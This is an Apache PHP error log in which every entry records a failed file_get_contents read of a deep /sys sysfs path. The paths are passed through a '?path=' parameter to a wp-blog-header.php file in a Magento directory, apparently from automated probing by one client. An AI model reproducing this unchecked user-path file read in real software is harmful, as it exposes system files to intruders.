[Thu Mar 26 14:52:02.231865 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:fe
[Thu Mar 26 14:52:04.351172 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ac
[Thu Mar 26 14:52:08.132344 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:fe
[Thu Mar 26 14:52:09.199453 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ea
[Thu Mar 26 14:52:14.963981 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ba
[Thu Mar 26 14:52:18.750157 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:dc
[Thu Mar 26 14:52:19.830598 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:cc
[Thu Mar 26 14:52:20.320460 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem
[Thu Mar 26 14:52:21.861702 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac
[Thu Mar 26 14:52:23.386900 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:fc
[Thu Mar 26 14:52:23.920636 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:be
[Thu Mar 26 14:52:28.678207 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:aa
[Thu Mar 26 14:52:29.197907 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39294] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ea
[Thu Mar 26 14:52:34.311489 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 14:52:37.403738 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:da
[Thu Mar 26 14:52:37.976425 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:da
[Thu Mar 26 14:52:41.092415 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem
[Thu Mar 26 14:52:43.159556 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ec
[Thu Mar 26 14:52:43.709858 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ce
[Thu Mar 26 14:52:48.936679 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ec
[Thu Mar 26 14:52:53.736416 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:bc
[Thu Mar 26 14:52:55.358056 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:fc
[Thu Mar 26 14:52:56.897025 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:dc
[Thu Mar 26 14:52:57.436535 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ec
[Thu Mar 26 14:53:01.738729 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ec
[Thu Mar 26 14:53:03.759252 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ba
[Thu Mar 26 14:53:04.927488 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ac
[Thu Mar 26 14:53:06.003676 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:dc
[Thu Mar 26 14:53:07.595901 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem
[Thu Mar 26 14:53:10.758256 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:bc
[Thu Mar 26 14:53:14.966603 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ce
[Thu Mar 26 14:53:18.780447 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ae
[Thu Mar 26 14:53:22.639060 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ac
[Thu Mar 26 14:53:24.324663 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:dc
[Thu Mar 26 14:53:25.902844 2026] [php:warn] [pid 3236333] [client 74.7.241.26:53612] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ec
[Thu Mar 26 14:53:28.272810 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fe
[Thu Mar 26 14:53:34.036018 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ac
[Thu Mar 26 14:53:35.557615 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:be
[Thu Mar 26 14:53:36.081427 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ca
[Thu Mar 26 14:53:36.640301 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:aa
[Thu Mar 26 14:53:37.109020 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem
[Thu Mar 26 14:53:37.660344 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:aa
[Thu Mar 26 14:53:38.767705 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:dc
[Thu Mar 26 14:53:50.869632 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:fa
